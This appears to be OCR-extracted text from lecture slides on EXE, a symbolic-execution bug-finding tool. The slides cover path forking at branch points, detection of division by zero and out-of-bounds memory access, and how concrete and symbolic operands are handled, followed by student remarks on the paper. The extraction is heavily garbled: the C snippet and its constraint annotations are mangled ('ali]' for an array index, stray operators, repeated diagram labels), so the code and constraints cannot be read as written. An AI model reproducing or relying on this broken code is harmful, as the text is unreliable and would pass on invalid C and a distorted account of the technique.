13:  // At this point i I= 2.
14:
15:  // ERROR: EXE catches div by 0 when i = 0. ali] == memory
-? b=t / ali; overflow
17: At this point: 1 I= () 86 1 I= 2. . .
18: /" ! ali] =0 a[i]==
19: // EXE determines that neither assert fires.
20: if(t == 2) .
21: assert(1 == 1);
22: else
23: assert(i == 3);
24: |}
1< 4 &&
What values of i in bnds a[*p] &&

satisfy these constraints? ali]==



CONCRETE VS SYMBOLIC OPERANDS

Concrete: iff all of its constituent bits are non-symbolic

If all operands are concrete: Execute as normal

If any operands are symbolic: Do not perform the operation;
Instead, pass it to EXE's runtime system

8 : char *p = (char *)a + 1 * 4,
*n = *p — 1; // Just modifies one byte!

(e

add(p == (char*)a +1* 4)



EXECUTING ALL PATHS

in bounds a[*p] -
in bnds a[*p] out of bnds a[*p]
memory
overflow
ali] 1= 0 ali]==0
div by
Zero



EXECUTING ALL PATHS

_
in bounds a[*p] -
in bnds a[*p] out of bnds a[*p]
memory
overflow
ali] 1= 0 ali]==0
div by
Zero
1< 4 &&

in bnds a[*p] &&
ali]==



EXECUTING ALL PATHS

Fork at each add(i < 4) add(i = 4)

decision point
exit
in bounds a[*p] - -
in bnds a[*p] out of bnds a[*p]
memory
overflow
ali] 1= 0 ali]==
div by
Zero
1<4 &&

in bnds a[*p] &&
ali]==



SOME OF YOUR THOUGHTS ON EXE

Kelsey: | think this idea is ridiculously cool

Benjamin: excellent evidence of the effectiveness of their approach

Brook: However, an attacker would need the source code to be able to
do this, meaning that using EXE in a malicious way would not be feasible
In Most cases

Brook: because it requires programmers to tag all of the symbolic data in their
code, it may not become widely used

Kelsey: Considering the authors start the paper by describing just how unreliable
programmers are when it comes to bug checking, | find it a bit frustrating

Ronald: what are the limitations of EXE?

Richie: EXE only works with deterministic software; multithreaded code, and code
that may act conditionally on randomly generated numbers, are incompatible

Debjani: Can EXE be used on itself?



